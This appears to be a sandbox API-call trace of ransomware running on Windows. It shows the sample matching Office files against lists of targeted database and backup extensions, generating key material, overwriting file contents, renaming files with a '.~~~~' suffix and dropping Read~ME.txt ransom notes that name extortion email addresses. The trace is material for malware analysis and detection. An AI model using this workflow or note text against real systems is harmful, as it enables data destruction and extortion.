	[0146.458] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.458] WriteFile (in: hFile=0x104, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.459] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.459] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.459] CloseHandle (hObject=0x104) returned 1
	[0146.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870268
	[0146.459] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\MSO.ACL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\mso.acl.~~~~")) returned 1
	[0146.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2870268 | out: hHeap=0x300000) returned 1
	[0146.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0146.603] GetLastError () returned 0x0
	[0146.603] RtlWakeConditionVariable () returned 0x0
	[0146.603] GetCurrentThreadId () returned 0xaf0
	[0146.604] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1036\\Read~ME.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1036\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0146.606] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0146.606] WriteFile (in: hFile=0x104, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0146.607] CloseHandle (hObject=0x104) returned 1
	[0146.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x396598 | out: hHeap=0x300000) returned 1
	[0146.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x396268 | out: hHeap=0x300000) returned 1
	[0146.607] RtlWakeConditionVariable () returned 0x365f70
	[0146.607] GetCurrentThreadId () returned 0xaf0
	[0146.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".scr") returned 0x0
	[0146.608] lstrlenW (lpString=".cmd") returned 4
	[0146.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".cmd") returned 0x0
	[0146.608] lstrlenW (lpString=".dll") returned 4
	[0146.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".dll") returned 0x0
	[0146.608] lstrlenW (lpString=".bat") returned 4
	[0146.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".bat") returned 0x0
	[0146.608] lstrlenW (lpString=".cpl") returned 4
	[0146.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".cpl") returned 0x0
	[0146.608] lstrlenW (lpString=".sys") returned 4
	[0146.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".sys") returned 0x0
	[0146.608] lstrlenW (lpString=".msc") returned 4
	[0146.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".msc") returned 0x0
	[0146.608] lstrlenW (lpString=".com") returned 4
	[0146.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".com") returned 0x0
	[0146.608] lstrlenW (lpString=".lnk") returned 4
	[0146.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".lnk") returned 0x0
	[0146.608] lstrlenW (lpString=".msp") returned 4
	[0146.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".msp") returned 0x0
	[0146.608] lstrlenW (lpString=".pif") returned 4
	[0146.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".pif") returned 0x0
	[0146.608] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch="msp\r\n.pif") returned 0x0
	[0146.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0146.611] lstrlenW (lpString=".sqb") returned 4
	[0146.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".sqb") returned 0x0
	[0146.611] lstrlenW (lpString=".ost") returned 4
	[0146.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".ost") returned 0x0
	[0146.611] lstrlenW (lpString=".txt") returned 4
	[0146.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".txt") returned 0x0
	[0146.611] lstrlenW (lpString=".mdt") returned 4
	[0146.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".mdt") returned 0x0
	[0146.611] lstrlenW (lpString=".BDB") returned 4
	[0146.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".BDB") returned 0x0
	[0146.611] lstrlenW (lpString=".eql") returned 4
	[0146.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".eql") returned 0x0
	[0146.611] lstrlenW (lpString=".DBF") returned 4
	[0146.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".DBF") returned 0x0
	[0146.611] lstrlenW (lpString=".EQL") returned 4
	[0146.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".EQL") returned 0x0
	[0146.612] lstrlenW (lpString=".FDB") returned 4
	[0146.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".FDB") returned 0x0
	[0146.612] lstrlenW (lpString=".EDB") returned 4
	[0146.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".EDB") returned 0x0
	[0146.612] lstrlenW (lpString=".DACPAC") returned 7
	[0146.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".DACPAC") returned 0x0
	[0146.612] lstrlenW (lpString=".VHD") returned 4
	[0146.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".VHD") returned 0x0
	[0146.612] lstrlenW (lpString=".DBV") returned 4
	[0146.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".DBV") returned 0x0
	[0146.612] lstrlenW (lpString=".dacpac") returned 7
	[0146.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".dacpac") returned 0x0
	[0146.612] lstrlenW (lpString=".sdf") returned 4
	[0146.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".sdf") returned 0x0
	[0146.612] lstrlenW (lpString=".accdb") returned 6
	[0146.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".accdb") returned 0x0
	[0146.612] lstrlenW (lpString=".DBX") returned 4
	[0146.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".DBX") returned 0x0
	[0146.612] lstrlenW (lpString=".MDT") returned 4
	[0146.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".MDT") returned 0x0
	[0146.612] lstrlenW (lpString=".SQB") returned 4
	[0146.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".SQB") returned 0x0
	[0146.612] lstrlenW (lpString=".vhd") returned 4
	[0146.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".vhd") returned 0x0
	[0146.612] lstrlenW (lpString=".bac") returned 4
	[0146.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".bac") returned 0x0
	[0146.612] lstrlenW (lpString=".mdf") returned 4
	[0146.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".mdf") returned 0x0
	[0146.613] lstrlenW (lpString=".BAK") returned 4
	[0146.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".BAK") returned 0x0
	[0146.613] lstrlenW (lpString=".BAC") returned 4
	[0146.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".BAC") returned 0x0
	[0146.613] lstrlenW (lpString=".dbs") returned 4
	[0146.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".dbs") returned 0x0
	[0146.613] lstrlenW (lpString=".vhdx") returned 5
	[0146.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".vhdx") returned 0x0
	[0146.613] lstrlenW (lpString=".NDF") returned 4
	[0146.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".NDF") returned 0x0
	[0146.613] lstrlenW (lpString=".dat") returned 4
	[0146.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".dat") returned 0x0
	[0146.613] lstrlenW (lpString=".DBS") returned 4
	[0146.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".DBS") returned 0x0
	[0146.613] lstrlenW (lpString=".CKP") returned 4
	[0146.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".CKP") returned 0x0
	[0146.613] lstrlenW (lpString=".edb") returned 4
	[0146.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".edb") returned 0x0
	[0146.613] lstrlenW (lpString=".PST") returned 4
	[0146.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".PST") returned 0x0
	[0146.613] lstrlenW (lpString=".dbf") returned 4
	[0146.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".dbf") returned 0x0
	[0146.613] lstrlenW (lpString=".SQL") returned 4
	[0146.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".SQL") returned 0x0
	[0146.613] lstrlenW (lpString=".pst") returned 4
	[0146.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".pst") returned 0x0
	[0146.614] lstrlenW (lpString=".dbv") returned 4
	[0146.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".dbv") returned 0x0
	[0146.614] lstrlenW (lpString=".SDF") returned 4
	[0146.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".SDF") returned 0x0
	[0146.614] lstrlenW (lpString=".dtxs") returned 5
	[0146.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".dtxs") returned 0x0
	[0146.614] lstrlenW (lpString=".db3") returned 4
	[0146.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".db3") returned 0x0
	[0146.614] lstrlenW (lpString=".OST") returned 4
	[0146.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".OST") returned 0x0
	[0146.614] lstrlenW (lpString=".dbx") returned 4
	[0146.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".dbx") returned 0x0
	[0146.614] lstrlenW (lpString=".DB3") returned 4
	[0146.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".DB3") returned 0x0
	[0146.614] lstrlenW (lpString=".DAT") returned 4
	[0146.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".DAT") returned 0x0
	[0146.614] lstrlenW (lpString=".VHDX") returned 5
	[0146.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".VHDX") returned 0x0
	[0146.614] lstrlenW (lpString=".ndf") returned 4
	[0146.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".ndf") returned 0x0
	[0146.614] lstrlenW (lpString=".DB") returned 3
	[0146.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".DB") returned 0x0
	[0146.614] lstrlenW (lpString=".sql") returned 4
	[0146.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".sql") returned 0x0
	[0146.614] lstrlenW (lpString=".MYD") returned 4
	[0146.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".MYD") returned 0x0
	[0146.614] lstrlenW (lpString=".DBT") returned 4
	[0146.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".DBT") returned 0x0
	[0146.615] lstrlenW (lpString=".ACCDB") returned 6
	[0146.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".ACCDB") returned 0x0
	[0146.615] lstrlenW (lpString=".fdb") returned 4
	[0146.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".fdb") returned 0x0
	[0146.615] lstrlenW (lpString=".bak") returned 4
	[0146.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".bak") returned 0x0
	[0146.615] lstrlenW (lpString=".myd") returned 4
	[0146.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".myd") returned 0x0
	[0146.615] lstrlenW (lpString=".DTXS") returned 5
	[0146.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".DTXS") returned 0x0
	[0146.615] lstrlenW (lpString=".ckp") returned 4
	[0146.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".ckp") returned 0x0
	[0146.615] lstrlenW (lpString=".dbt") returned 4
	[0146.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".dbt") returned 0x0
	[0146.615] lstrlenW (lpString=".db") returned 3
	[0146.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".db") returned 0x0
	[0146.615] lstrlenW (lpString=".TXT") returned 4
	[0146.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".TXT") returned 0x0
	[0146.615] lstrlenW (lpString=".MDF") returned 4
	[0146.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".MDF") returned 0x0
	[0146.615] lstrlenW (lpString=".bdb") returned 4
	[0146.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".bdb") returned 0x0
	[0146.615] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.615] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0146.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0146.616] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x396598) returned 1
	[0146.617] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0146.617] CryptReleaseContext (hProv=0x396598, dwFlags=0x0) returned 1
	[0146.617] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0146.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0146.698] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0146.698] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26668782128) returned 1
	[0146.700] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xc0d8dd70, dwHighDateTime=0x1d60e1e)) 
	[0146.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0146.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0146.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0146.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bee8
	[0146.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bee8 | out: hHeap=0x300000) returned 1
	[0146.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d02b8
	[0146.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870268
	[0146.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d02b8 | out: hHeap=0x300000) returned 1
	[0146.701] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0146.701] GetLastError () returned 0x0
	[0146.701] GetLastError () returned 0x0
	[0146.701] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0146.701] GetLastError () returned 0x0
	[0146.701] GetLastError () returned 0x0
	[0146.701] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0xc57c, lpOverlapped=0x0) returned 1
	[0146.772] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffff3a84, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.772] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xc57c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0xc57c, lpOverlapped=0x0) returned 1
	[0146.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0146.773] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.773] WriteFile (in: hFile=0x104, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.773] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.773] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.773] CloseHandle (hObject=0x104) returned 1
	[0146.773] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7aa8
	[0146.773] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\3082\\mso.acl.~~~~")) returned 1
	[0146.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c7aa8 | out: hHeap=0x300000) returned 1
	[0146.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0146.776] GetLastError () returned 0x0
	[0146.776] RtlWakeConditionVariable () returned 0x365f70
	[0146.776] GetCurrentThreadId () returned 0xaf0
	[0146.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\Read~ME.txt" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0146.779] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0146.779] WriteFile (in: hFile=0x104, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0146.780] CloseHandle (hObject=0x104) returned 1
	[0146.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c7e38 | out: hHeap=0x300000) returned 1
	[0146.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c7aa8 | out: hHeap=0x300000) returned 1
	[0146.780] RtlWakeConditionVariable () returned 0x365f70
	[0146.780] GetCurrentThreadId () returned 0xaf0
	[0146.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".scr") returned 0x0
	[0146.781] lstrlenW (lpString=".cmd") returned 4
	[0146.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".cmd") returned 0x0
	[0146.781] lstrlenW (lpString=".dll") returned 4
	[0146.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".dll") returned 0x0
	[0146.781] lstrlenW (lpString=".bat") returned 4
	[0146.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".bat") returned 0x0
	[0146.781] lstrlenW (lpString=".cpl") returned 4
	[0146.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".cpl") returned 0x0
	[0146.781] lstrlenW (lpString=".sys") returned 4
	[0146.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCICONS.EXE", lpSrch=".sys") returned 0x0
	[0146.781] lstrlenW (lpString=".msc") returned 4
